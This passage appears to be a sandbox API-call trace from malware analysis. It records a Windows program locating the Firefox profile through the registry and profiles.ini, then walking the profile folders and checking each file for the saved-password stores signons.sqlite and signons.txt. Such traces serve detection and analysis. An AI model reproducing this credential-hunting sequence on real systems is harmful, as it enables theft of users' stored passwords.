returned="Software\\Mozilla\\Mozilla Firefox\\25.0 (en-US)\\Main" [0070.979] LocalFree (hMem=0x6474f8) returned 0x0 [0070.979] StrStrIA (lpFirst="Software\\Mozilla\\Mozilla Firefox\\25.0 (en-US)\\Main", lpSrch="Firefox") returned="Firefox\\25.0 (en-US)\\Main" [0070.979] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="Software\\Mozilla\\Mozilla Firefox\\25.0 (en-US)\\Main", ulOptions=0x0, samDesired=0x20019, phkResult=0x12fcdc | out: phkResult=0x12fcdc*=0x138) returned 0x0 [0070.979] RegQueryValueExA (in: hKey=0x138, lpValueName="PathToExe", lpReserved=0x0, lpType=0x12fcd4, lpData=0x0, lpcbData=0x12fcd8*=0x7 | out: lpType=0x12fcd4*=0x1, lpData=0x0, lpcbData=0x12fcd8*=0x2d) returned 0x0 [0070.979] LocalAlloc (uFlags=0x40, uBytes=0xae) returned 0x6474f8 [0070.979] RegQueryValueExA (in: hKey=0x138, lpValueName="PathToExe", lpReserved=0x0, lpType=0x0, lpData=0x6474f8, lpcbData=0x12fcd8*=0x2d | out: lpType=0x0, lpData=0x6474f8*=0x43, lpcbData=0x12fcd8*=0x2d) returned 0x0 [0070.979] RegCloseKey (hKey=0x138) returned 0x0 [0070.979] lstrlenA (lpString="C:\\Program Files\\Mozilla Firefox\\firefox.exe") returned 44 [0070.979] lstrlenA (lpString="") returned 0 [0070.979] LocalAlloc (uFlags=0x40, uBytes=0xad) returned 0x6475b0 [0070.979] lstrcpyA (in: lpString1=0x6475b0, lpString2="C:\\Program Files\\Mozilla Firefox\\firefox.exe" | out: lpString1="C:\\Program Files\\Mozilla Firefox\\firefox.exe") returned="C:\\Program Files\\Mozilla Firefox\\firefox.exe" [0070.979] lstrcatA (in: lpString1="C:\\Program Files\\Mozilla Firefox\\firefox.exe", lpString2="" | out: lpString1="C:\\Program Files\\Mozilla Firefox\\firefox.exe") returned="C:\\Program Files\\Mozilla Firefox\\firefox.exe" [0070.979] lstrlenA (lpString="C:\\Program Files\\Mozilla Firefox\\firefox.exe") returned 44 [0070.979] StrStrIA (lpFirst="C:\\Program Files\\Mozilla Firefox\\firefox.exe", lpSrch=".exe") returned=".exe" [0070.979] StrRChrIA (lpStart="C:\\Program Files\\Mozilla Firefox\\firefox.exe", lpEnd=0x0, wMatch=0x5c) returned="\\firefox.exe" [0070.979] lstrlenA (lpString="C:\\Program Files\\Mozilla Firefox") returned 32 [0070.979] LocalAlloc (uFlags=0x40, uBytes=0x185) returned 0x626a88 [0070.979] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x626a88 | out: pszPath="C:\\Users\\EEBsYm5\\AppData\\Roaming") returned 0x0 [0070.980] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Roaming") returned 32 [0070.980] lstrlenA (lpString="\\Mozilla\\Firefox\\") returned 17 [0070.980] LocalAlloc (uFlags=0x40, uBytes=0xb2) returned 0x643b68 [0070.980] lstrcpyA (in: lpString1=0x643b68, lpString2="C:\\Users\\EEBsYm5\\AppData\\Roaming" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming" [0070.980] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming", lpString2="\\Mozilla\\Firefox\\" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\" [0070.980] LocalFree (hMem=0x626a88) returned 0x0 [0070.980] GetFileAttributesA (lpFileName="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\" (normalized: "c:\\users\\eebsym5\\appdata\\roaming\\mozilla\\firefox")) returned 0x2010 [0070.980] GetFileAttributesA (lpFileName="C:\\Program Files\\Mozilla Firefox" (normalized: "c:\\program files\\mozilla firefox")) returned 0x10 [0070.980] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\") returned 49 [0070.980] lstrlenA (lpString="") returned 0 [0070.980] LocalAlloc (uFlags=0x40, uBytes=0xb2) returned 0x643c28 [0070.980] lstrcpyA (in: lpString1=0x643c28, lpString2="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\" [0070.980] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\", lpString2="" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\" [0070.980] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\") returned 49 [0070.980] lstrlenA (lpString="profiles.ini") returned 12 [0070.980] LocalAlloc (uFlags=0x40, uBytes=0xbe) returned 0x65e350 [0070.980] lstrcpyA (in: lpString1=0x65e350, lpString2="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\" [0070.980] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\", lpString2="profiles.ini" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\profiles.ini") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\profiles.ini" [0070.980] LocalAlloc (uFlags=0x40, uBytes=0xfe6a) returned 0x662338 [0070.981] LocalAlloc (uFlags=0x40, uBytes=0x1080) returned 0x6721b0 [0070.981] CreateFileA (lpFileName="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\profiles.ini" (normalized: "c:\\users\\eebsym5\\appdata\\roaming\\mozilla\\firefox\\profiles.ini"), dwDesiredAccess=0x80, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x138 [0070.981] CloseHandle (hObject=0x139) returned 1 [0070.981] GetPrivateProfileSectionNamesA (in: lpszReturnBuffer=0x662338, nSize=0xfde8, lpFileName="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\profiles.ini" | out: lpszReturnBuffer="General") returned 0x11 [0070.982] StrStrIA (lpFirst="General", lpSrch="Profile") returned 0x0 [0070.982] StrStrIA (lpFirst="Profile0", lpSrch="Profile") returned="Profile0" [0070.982] GetPrivateProfileStringA (in: lpAppName="Profile0", lpKeyName="Path", lpDefault="", lpReturnedString=0x6721b0, nSize=0xfff, lpFileName="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\profiles.ini" | out: lpReturnedString="Profiles/h231daer.default") returned 0x19 [0070.982] GetPrivateProfileIntA (lpAppName="Profile0", lpKeyName="IsRelative", nDefault=1, lpFileName="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\profiles.ini") returned 0x1 [0070.983] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\") returned 49 [0070.983] lstrlenA (lpString="Profiles/h231daer.default") returned 25 [0070.983] LocalAlloc (uFlags=0x40, uBytes=0xcb) returned 0x627248 [0070.983] lstrcpyA (in: lpString1=0x627248, lpString2="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\" [0070.983] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\", lpString2="Profiles/h231daer.default" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles/h231daer.default") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles/h231daer.default" [0070.983] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default") returned 74 [0070.983] lstrlenA (lpString="\\*.*") returned 4 [0070.983] LocalAlloc (uFlags=0x40, uBytes=0xcf) returned 0x627320 [0070.983] lstrcpyA (in: lpString1=0x627320, lpString2="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default" [0070.983] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default", lpString2="\\*.*" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\*.*") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\*.*" [0070.983] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\*.*", lpFindFileData=0x12fb76 | out: lpFindFileData=0x12fb76) returned 0x6426a8 [0070.983] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0070.983] FindNextFileA (in: hFindFile=0x6426a8, lpFindFileData=0x12fb76 | out: lpFindFileData=0x12fb76) returned 1 [0070.983] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0070.983] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0070.983] FindNextFileA (in: hFindFile=0x6426a8, lpFindFileData=0x12fb76 | out: lpFindFileData=0x12fb76) returned 1 [0070.983] StrStrIA (lpFirst="addons.json", lpSrch="signons.sqlite") returned 0x0 [0070.983] lstrlenA (lpString="addons.json") returned 11 [0070.983] StrStrIA (lpFirst="addons.json", lpSrch="signons.txt") returned 0x0 [0070.983] StrStrIA (lpFirst="addons.json", lpSrch="signons2.txt") returned 0x0 [0070.983] StrStrIA (lpFirst="addons.json", lpSrch="signons3.txt") returned 0x0 [0070.983] FindNextFileA (in: hFindFile=0x6426a8, lpFindFileData=0x12fb76 | out: lpFindFileData=0x12fb76) returned 1 [0070.983] lstrcmpiA (lpString1=".", lpString2="bookmarkbackups") returned -1 [0070.983] lstrcmpiA (lpString1="..", lpString2="bookmarkbackups") returned -1 [0070.983] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default") returned 74 [0070.983] lstrlenA (lpString="\\") returned 1 [0070.983] LocalAlloc (uFlags=0x40, uBytes=0xcc) returned 0x6275a8 [0070.984] lstrcpyA (in: lpString1=0x6275a8, lpString2="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default" [0070.984] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default", lpString2="\\" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\" [0070.984] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\") returned 75 [0070.984] lstrlenA (lpString="bookmarkbackups") returned 15 [0070.984] LocalAlloc (uFlags=0x40, uBytes=0xdb) returned 0x641518 [0070.984] lstrcpyA (in: lpString1=0x641518, lpString2="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\" [0070.984] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\", lpString2="bookmarkbackups" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\bookmarkbackups") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\bookmarkbackups" [0070.984] LocalFree (hMem=0x6275a8) returned 0x0 [0070.984] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\bookmarkbackups") returned 90 [0070.984] lstrlenA (lpString="\\*.*") returned 4 [0070.984] LocalAlloc (uFlags=0x40, uBytes=0xdf) returned 0x65d330 [0070.984] lstrcpyA (in: lpString1=0x65d330, lpString2="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\bookmarkbackups" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\bookmarkbackups") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\bookmarkbackups" [0070.984] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\bookmarkbackups", lpString2="\\*.*" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\bookmarkbackups\\*.*") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\bookmarkbackups\\*.*" [0070.984] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\bookmarkbackups\\*.*", lpFindFileData=0x12fa0e | out: lpFindFileData=0x12fa0e) returned 0x6426e8 [0070.985] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0070.985] FindNextFileA (in: hFindFile=0x6426e8, lpFindFileData=0x12fa0e | out: lpFindFileData=0x12fa0e) returned 1 [0070.985] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0070.985] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0070.985] FindNextFileA (in: hFindFile=0x6426e8, lpFindFileData=0x12fa0e | out: lpFindFileData=0x12fa0e) returned 1 [0070.985] StrStrIA (lpFirst="bookmarks-2017-05-31_5.json", lpSrch="signons.sqlite") returned 0x0 [0070.985] lstrlenA (lpString="bookmarks-2017-05-31_5.json") returned 27 [0070.985] StrStrIA (lpFirst="bookmarks-2017-05-31_5.json", lpSrch="signons.txt") returned 0x0 [0070.985] StrStrIA (lpFirst="bookmarks-2017-05-31_5.json", lpSrch="signons2.txt") returned 0x0 [0070.985] StrStrIA (lpFirst="bookmarks-2017-05-31_5.json", lpSrch="signons3.txt") returned 0x0 [0070.985] FindNextFileA (in: hFindFile=0x6426e8, lpFindFileData=0x12fa0e | out: lpFindFileData=0x12fa0e) returned 1 [0070.985] StrStrIA (lpFirst="bookmarks-2017-07-12_5.json", lpSrch="signons.sqlite") returned 0x0 [0070.985] lstrlenA (lpString="bookmarks-2017-07-12_5.json") returned 27 [0070.985] StrStrIA (lpFirst="bookmarks-2017-07-12_5.json", lpSrch="signons.txt") returned 0x0 [0070.985] StrStrIA (lpFirst="bookmarks-2017-07-12_5.json", lpSrch="signons2.txt") returned 0x0 [0070.985] StrStrIA (lpFirst="bookmarks-2017-07-12_5.json", lpSrch="signons3.txt") returned 0x0 [0070.985] FindNextFileA (in: hFindFile=0x6426e8, lpFindFileData=0x12fa0e | out: lpFindFileData=0x12fa0e) returned 0 [0070.985] FindClose (in: hFindFile=0x6426e8 | out: hFindFile=0x6426e8) returned 1 [0070.986] LocalFree (hMem=0x65d330) returned 0x0 [0070.986] LocalFree (hMem=0x641518) returned 0x0 [0070.986] FindNextFileA (in: hFindFile=0x6426a8, lpFindFileData=0x12fb76 | out: lpFindFileData=0x12fb76) returned 1 [0070.986] StrStrIA (lpFirst="cert8.db", lpSrch="signons.sqlite") returned 0x0 [0070.986] lstrlenA (lpString="cert8.db") returned 8 [0070.986] StrStrIA (lpFirst="cert8.db", lpSrch="signons.txt") returned 0x0 [0070.986] StrStrIA (lpFirst="cert8.db", lpSrch="signons2.txt") returned 0x0 [0070.986] StrStrIA (lpFirst="cert8.db", lpSrch="signons3.txt") returned 0x0 [0070.986] FindNextFileA (in: hFindFile=0x6426a8, lpFindFileData=0x12fb76 | out: lpFindFileData=0x12fb76) returned 1 [0070.986] StrStrIA (lpFirst="compatibility.ini", lpSrch="signons.sqlite") returned 0x0 [0070.986] lstrlenA (lpString="compatibility.ini") returned 17 [0070.986] StrStrIA (lpFirst="compatibility.ini", lpSrch="signons.txt") returned 0x0 [0070.986] StrStrIA (lpFirst="compatibility.ini", lpSrch="signons2.txt") returned 0x0 [0070.986] StrStrIA (lpFirst="compatibility.ini", lpSrch="signons3.txt") returned 0x0 [0070.986] FindNextFileA (in: hFindFile=0x6426a8, lpFindFileData=0x12fb76 | out: lpFindFileData=0x12fb76) returned 1 [0070.986] StrStrIA (lpFirst="content-prefs.sqlite", lpSrch="signons.sqlite") returned 0x0 [0070.986] lstrlenA (lpString="content-prefs.sqlite") returned 20 [0070.986] StrStrIA (lpFirst="content-prefs.sqlite", lpSrch="signons.txt") returned 0x0 [0070.986] StrStrIA (lpFirst="content-prefs.sqlite", lpSrch="signons2.txt") returned 0x0 [0070.986] StrStrIA (lpFirst="content-prefs.sqlite", lpSrch="signons3.txt") returned 0x0 [0070.986] FindNextFileA (in: hFindFile=0x6426a8, lpFindFileData=0x12fb76 | out: lpFindFileData=0x12fb76) returned 1 [0070.986] StrStrIA (lpFirst="cookies.sqlite", lpSrch="signons.sqlite") returned 0x0 [0070.986] lstrlenA (lpString="cookies.sqlite") returned 14 [0070.986] StrStrIA (lpFirst="cookies.sqlite", lpSrch="signons.txt") returned 0x0 [0070.986] StrStrIA (lpFirst="cookies.sqlite", lpSrch="signons2.txt") returned 0x0 [0070.986] StrStrIA (lpFirst="cookies.sqlite", lpSrch="signons3.txt") returned 0x0 [0070.986] FindNextFileA (in: hFindFile=0x6426a8, lpFindFileData=0x12fb76 | out: lpFindFileData=0x12fb76) returned 1 [0070.986] StrStrIA (lpFirst="downloads.sqlite", lpSrch="signons.sqlite") returned 0x0 [0070.986] lstrlenA (lpString="downloads.sqlite") returned 16 [0070.986] StrStrIA (lpFirst="downloads.sqlite", lpSrch="signons.txt") returned 0x0 [0070.986] StrStrIA (lpFirst="downloads.sqlite", lpSrch="signons2.txt") returned 0x0 [0070.986] StrStrIA (lpFirst="downloads.sqlite", lpSrch="signons3.txt") returned 0x0 [0070.986] FindNextFileA (in: hFindFile=0x6426a8, lpFindFileData=0x12fb76 | out: lpFindFileData=0x12fb76) returned 1 [0070.986] StrStrIA (lpFirst="extensions.ini", lpSrch="signons.sqlite") returned 0x0 [0070.986] lstrlenA (lpString="extensions.ini") returned 14 [0070.986] StrStrIA (lpFirst="extensions.ini", lpSrch="signons.txt") returned 0x0 [0070.986] StrStrIA (lpFirst="extensions.ini", lpSrch="signons2.txt") returned 0x0 [0070.987] StrStrIA (lpFirst="extensions.ini", lpSrch="signons3.txt") returned 0x0 [0070.987] FindNextFileA (in: hFindFile=0x6426a8, lpFindFileData=0x12fb76 | out: lpFindFileData=0x12fb76) returned 1 [0070.987] StrStrIA (lpFirst="extensions.sqlite", lpSrch="signons.sqlite") returned 0x0 [0070.987] lstrlenA (lpString="extensions.sqlite") returned 17 [0070.987] StrStrIA (lpFirst="extensions.sqlite", lpSrch="signons.txt") returned 0x0 [0070.987] StrStrIA (lpFirst="extensions.sqlite", lpSrch="signons2.txt") returned 0x0 [0070.987] StrStrIA (lpFirst="extensions.sqlite", lpSrch="signons3.txt") returned 0x0 [0070.987] FindNextFileA (in: hFindFile=0x6426a8, lpFindFileData=0x12fb76 | out: lpFindFileData=0x12fb76) returned 1 [0070.987] lstrcmpiA (lpString1=".", lpString2="healthreport") returned -1 [0070.987] lstrcmpiA (lpString1="..", lpString2="healthreport") returned -1 [0070.987] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default") returned 74 [0070.987] lstrlenA (lpString="\\") returned 1 [0070.987] LocalAlloc (uFlags=0x40, uBytes=0xcc) returned 0x6275a8 [0070.987] lstrcpyA (in: lpString1=0x6275a8, lpString2="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default" [0070.987] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default", lpString2="\\" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\" [0070.987] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\") returned 75 [0070.987] lstrlenA (lpString="healthreport") returned 12 [0070.987] LocalAlloc (uFlags=0x40, uBytes=0xd8) returned 0x65b348 [0070.987] lstrcpyA (in: lpString1=0x65b348, lpString2="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\" [0070.987] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\", lpString2="healthreport" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\healthreport") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\healthreport" [0070.987] LocalFree (hMem=0x6275a8) returned 0x0 [0070.987] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\healthreport") returned 87 [0070.987] lstrlenA (lpString="\\*.*") returned 4 [0070.987] LocalAlloc (uFlags=0x40, uBytes=0xdc) returned 0x641518 [0070.987] lstrcpyA (in: lpString1=0x641518, lpString2="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\healthreport" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\healthreport") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\healthreport" [0070.987] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\healthreport", lpString2="\\*.*" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\healthreport\\*.*") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\healthreport\\*.*" [0070.987] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\healthreport\\*.*", lpFindFileData=0x12fa0e | out: lpFindFileData=0x12fa0e) returned 0x6426e8 [0070.987] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0070.987] FindNextFileA (in: hFindFile=0x6426e8, lpFindFileData=0x12fa0e | out: lpFindFileData=0x12fa0e) returned 1 [0070.987] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0070.987] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0070.987] FindNextFileA (in: hFindFile=0x6426e8, lpFindFileData=0x12fa0e | out: lpFindFileData=0x12fa0e) returned 0 [0070.987] FindClose (in: hFindFile=0x6426e8 | out: hFindFile=0x6426e8) returned 1 [0070.987] LocalFree (hMem=0x641518) returned 0x0 [0070.987] LocalFree (hMem=0x65b348) returned 0x0 [0070.987] FindNextFileA (in: hFindFile=0x6426a8, lpFindFileData=0x12fb76 | out: lpFindFileData=0x12fb76) returned 1 [0070.987] StrStrIA (lpFirst="healthreport.sqlite", lpSrch="signons.sqlite") returned 0x0 [0070.987] lstrlenA (lpString="healthreport.sqlite") returned 19 [0070.987] StrStrIA (lpFirst="healthreport.sqlite", lpSrch="signons.txt") returned 0x0 [0070.987] StrStrIA (lpFirst="healthreport.sqlite", lpSrch="signons2.txt") returned 0x0 [0070.987] StrStrIA (lpFirst="healthreport.sqlite", lpSrch="signons3.txt") returned 0x0 [0070.987] FindNextFileA (in: hFindFile=0x6426a8, lpFindFileData=0x12fb76 | out: lpFindFileData=0x12fb76) returned 1 [0070.987] lstrcmpiA (lpString1=".", lpString2="indexedDB") returned -1 [0070.987] lstrcmpiA (lpString1="..", lpString2="indexedDB") returned -1 [0070.988] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default") returned 74 [0070.988] lstrlenA (lpString="\\") returned 1 [0070.988] LocalAlloc (uFlags=0x40, uBytes=0xcc) returned 0x6275a8 [0070.988] lstrcpyA (in: lpString1=0x6275a8, lpString2="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default" [0070.988] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default", lpString2="\\" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\" [0070.988] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\") returned 75 [0070.988] lstrlenA (lpString="indexedDB") returned 9 [0070.988] LocalAlloc (uFlags=0x40, uBytes=0xd5) returned 0x65b348 [0070.988] lstrcpyA (in: lpString1=0x65b348, lpString2="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\" [0070.988] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\", lpString2="indexedDB" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB" [0070.988] LocalFree (hMem=0x6275a8) returned 0x0 [0070.988] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB") returned 84 [0070.988] lstrlenA (lpString="\\*.*") returned 4 [0070.988] LocalAlloc (uFlags=0x40, uBytes=0xd9) returned 0x641518 [0070.988] lstrcpyA (in: lpString1=0x641518, lpString2="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB" [0070.988] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB", lpString2="\\*.*" | out: 